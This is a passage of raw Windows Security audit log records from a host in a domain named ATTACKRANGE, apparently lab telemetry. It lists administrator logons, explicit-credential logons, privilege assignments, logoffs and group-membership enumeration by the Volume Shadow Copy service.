- Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245518 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245517 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245516 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6DEA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245515 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB5E24 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245514 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB4187 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245513 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6DEA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245512 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6DEA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245511 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245510 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245549 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9D23 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245548 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9D23 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245547 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245546 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245554 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xC8628 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245553 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xC8628 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245552 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245551 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245550 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9D23 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245566 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245565 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245564 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245563 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245562 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245561 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245560 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245559 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245558 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245557 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x6c - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245556 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245555 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245571 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE208E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245570 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE208E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the 